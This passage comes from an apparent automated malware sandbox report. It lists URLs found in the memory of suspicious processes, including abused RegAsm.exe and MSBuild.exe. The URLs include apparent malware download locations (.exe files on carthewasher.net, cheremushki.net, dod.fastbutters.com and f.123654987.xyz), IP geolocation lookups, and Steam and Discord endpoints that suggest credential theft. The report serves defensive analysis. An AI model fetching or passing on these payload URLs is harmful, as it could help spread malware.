00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://carthewasher.net/
Source: tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B2B000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202651427.00000000040CE000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://carthewasher.net/29d6e50767cda8c52446163cd5125b9a/cad54ba5b01423b1af8ec10ab5719d97.exe
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3337993005.00000000018FE000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3293078281.00000000018EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3337993005.00000000018FE000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3293078281.00000000018EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3337993005.00000000018FE000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3293078281.00000000018EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheremushki.net/
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheremushki.net//
Source: tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B3A000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2196054072.00000000040DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheremushki.net/29d6e50767cda8c52446163cd5125b9a/7725eaa6592c80f8124e769b4e8a07f7.exe
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheremushki.net/der
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002C88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.0000000001621000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/applications/community/main.css?v=tIrWyaxi8A
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/globalv2.css?v=pwVcIAtHNXwg&l=english&am
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/promo/summer2017/stickers.css?v=bZKSp7oNwVPK
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/header.css?v=vh4BMeDcNiCU&l=engli
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.TP5s6TzX6LLh&
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=gNE3gksLVEVa&l=en
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.0000000001621000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/libraries~b28b
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.0000000001621000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/main.js?v=roSu
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.0000000001621000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=PyuRtGtUpR0t&l=englis
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC&
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=Wd0kCESeJquW&l=
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=engli
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=X93cgZRtuH6z&l=engli
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/promo/stickers.js?v=GfA42_x2_aub&
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&amp
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpE
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=gzzYk5pkHqW6&amp
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&l=engl
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=GfSjbGKcNYaQ&l=
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=2VoZa2M8Wh3k&
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_responsive.css?v=eghn9DNyCY67&
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.p
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/toolt
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0&amp
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.000000000180F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.000000000180F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=149.18.24.96
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.000000000180F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=149.18.24.96D
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.0000000001796000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com:443/demo/home.php?s=149.18.24.96
Source: MSBuild.exe, 00000021.00000002.2873629498.0000000003015000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9/users/
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dod.fastbutters.com/style/060.exe
Source: tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dod.fastbutters.com/style/060.exeK
Source: tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dod.fastbutters.com/style/060.exeQ
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dod.fastbutters.com/style/060.exehp
Source: tZvjMg3Hw9.exe, 00000000.00000003.2182444428.0000000002B56000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182187874.0000000002B5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dod.fastbutters.com:80/style/060.exe
Source: tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002AE6000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182347849.0000000002AED000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002AE9000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224152621.0000000002AE6000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197227830.0000000002AED000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231063650.0000000002AE9000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2190690939.0000000002AED000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002AE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dod.fastbutters.com:80/style/060.exe/S
Source: tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002AE6000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182347849.0000000002AED000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002AE9000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224152621.0000000002AE6000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197227830.0000000002AED000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231063650.0000000002AE9000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2190690939.0000000002AED000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002AE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dod.fastbutters.com:80/style/060.exe0S
Source: tZvjMg3Hw9.exe, 00000000.00000003.2182347849.0000000002AED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dod.fastbutters.com:80/style/060.exeindows
Source: tZvjMg3Hw9.exe, 00000000.00000003.2182444428.0000000002B56000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182187874.0000000002B5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dod.fastbutters.com:80/style/060.exewqw
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3337993005.00000000018FE000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3293078281.00000000018EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3337993005.00000000018FE000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3293078281.00000000018EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3337993005.00000000018FE000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3293078281.00000000018EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://f.123654987.xyz/
Source: tZvjMg3Hw9.exe, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2210239115.0000000002B2B000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B14000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2203409356.00000000041CE000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://f.123654987.xyz/525403/setup.exe
Source: tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B14000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://f.123654987.xyz/525403/setup.exe#
Source: tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://f.123654987.xyz/525403/setup.exes
Source: tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://f.123654987.xyz/;
Source: tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://f.123654987.xyz/O
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000003.3068074631.000000000139A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000003.3068074631.000000000139A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/A
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000003.3068074631.000000000139A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/M
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.0000000001803000.00000004.00000020.00020000.00000000.sdmp, 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3401785984.0000000001368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/Mozilla/5.0
Source: lrPP7Py6j59vWWqs5P8cBSO1.exe, 00000007.00000002.3395350920.0000000000515000.00000002.00000001.01000000.00000007.sdmp, pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000002.3395015295.0000000000515000.00000002.00000001.01000000.0000000A.sdmp, tDrDIT3EJ93dpzmmxTIMr4ah.exe, 0000000D.00000002.3395848430.0000000000516000.00000002.00000001.01000000.0000000F.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3395244504.0000000000B11000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://ipinfo.io/https://www.maxmind.com/en/locate-my-ip-addressWs2_32.dll
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3398241309.0000000000CFF000.00000002.00000001.01000000.00000013.sdmp, 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000003.2920616279.0000000000B60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/namehttps://ipgeolocation.io/:
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3401785984.0000000001386000.00000004.00000020.00020000.00000000.sdmp, 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000003.3068074631.000000000139A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/sf
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.0000000001803000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3405203148.00000000017B9000.00000004.00000020.00020000.00000000.sdmp, 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3401785984.0000000001386000.00000004.00000020.00020000.00000000.sdmp, 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000003.3068074631.000000000139A000.00000004.00000020.00020000.00000000.sdmp, 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3401785984.000000000137A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/149.18.24.96
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3401785984.0000000001386000.00000004.00000020.00020000.00000000.sdmp, 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000003.3068074631.000000000139A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/149.18.24.96Z
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000003.3068074631.000000000139A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/149.18.24.96z
